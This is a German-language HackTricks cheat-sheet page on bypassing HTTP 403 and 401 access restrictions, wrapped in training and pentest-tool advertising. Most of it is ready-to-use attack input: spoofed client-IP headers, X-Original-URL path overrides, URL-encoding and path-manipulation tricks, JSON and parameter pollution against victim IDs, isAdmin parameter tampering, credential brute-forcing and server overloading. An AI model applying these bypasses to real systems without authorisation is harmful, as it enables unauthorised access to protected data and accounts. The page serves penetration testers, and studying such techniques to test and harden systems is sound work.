403 & 401 Bypasses
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit 20+ Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
HTTP Verbs/Methods Fuzzing
Versuchen Sie, verschiedene Verben zu verwenden, um auf die Datei zuzugreifen: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen gegeben werden. Zum Beispiel bedeutet eine 200-Antwort auf HEAD mit
Content-Length: 55
, dass das HEAD-Verb auf die Info zugreifen kann. Aber Sie müssen immer noch einen Weg finden, diese Info zu exfiltrieren.Verwenden Sie einen HTTP-Header wie
X-HTTP-Method-Override: PUT
, um das verwendete Verb zu überschreiben.Verwenden Sie das
TRACE
-Verb und wenn Sie sehr viel Glück haben, können Sie vielleicht in der Antwort auch die von Zwischenproxies hinzugefügten Header sehen, die nützlich sein könnten.
HTTP Headers Fuzzing
Ändern Sie den Host-Header auf einen beliebigen Wert (das hat hier funktioniert)
Versuchen Sie, andere User Agents zu verwenden, um auf die Ressource zuzugreifen.
Fuzz HTTP-Header: Versuchen Sie, HTTP-Proxy-Header, HTTP-Authentifizierung Basic und NTLM-Brute-Force (nur mit wenigen Kombinationen) und andere Techniken zu verwenden. Um all dies zu tun, habe ich das Tool fuzzhttpbypass erstellt.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
Wenn der Pfad geschützt ist, können Sie versuchen, den Pfadschutz mit diesen anderen Headern zu umgehen:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Wenn die Seite hinter einem Proxy ist, könnte es der Proxy sein, der Sie daran hindert, auf die privaten Informationen zuzugreifen. Versuchen Sie, HTTP Request Smuggling oder Hop-by-Hop-Header** auszunutzen.**
Fuzz spezielle HTTP-Header auf der Suche nach unterschiedlichen Antworten.
Fuzz spezielle HTTP-Header, während Sie HTTP-Methoden fuzzing.
Entfernen Sie den Host-Header, und vielleicht können Sie den Schutz umgehen.
Path Fuzzing
Wenn /path blockiert ist:
Versuchen Sie, /%2e/path _ (wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch_** /%252e**/path (doppelte URL-Codierung)
Versuchen Sie Unicode-Bypass: /%ef%bc%8fpath (Die URL-codierten Zeichen sind wie "/"), sodass es beim Zurückcodieren //path sein wird und Sie möglicherweise bereits die /path-Namensüberprüfung umgangen haben.
Andere Pfad-Bypässe:
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Verwenden Sie diese Liste in den folgenden Situationen:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Andere API-Bypässe:
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthorisiert
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthorisiert
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)
Parameter Manipulation
Ändern Sie den Parametervalue: Von
id=123
-->id=124
Fügen Sie zusätzliche Parameter zur URL hinzu:
?
id=124
—->id=124&isAdmin=true
Entfernen Sie die Parameter
Ändern Sie die Reihenfolge der Parameter
Verwenden Sie Sonderzeichen.
Führen Sie Grenzwerttests in den Parametern durch — geben Sie Werte wie -234 oder 0 oder 99999999 (nur einige Beispielwerte) an.
Protokollversion
Wenn Sie HTTP/1.1 verwenden, versuchen Sie, 1.0 zu verwenden oder testen Sie, ob es 2.0 unterstützt.
Andere Bypässe
Holen Sie sich die IP oder CNAME der Domain und versuchen Sie, sie direkt zu kontaktieren.
Versuchen Sie, den Server zu belasten, indem Sie gängige GET-Anfragen senden (Es hat für diesen Typen mit Facebook funktioniert).
Ändern Sie das Protokoll: von http zu https oder von https zu http
Gehen Sie zu https://archive.org/web/ und überprüfen Sie, ob die Datei in der Vergangenheit weltweit zugänglich war.
Brute Force
Raten Sie das Passwort: Testen Sie die folgenden gängigen Anmeldeinformationen. Wissen Sie etwas über das Opfer? Oder den Namen der CTF-Herausforderung?
Brute Force: Versuchen Sie grundlegende, Digest- und NTLM-Authentifizierung.
Automatische Werkzeuge
Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Werkzeugen und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Werkzeuge, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated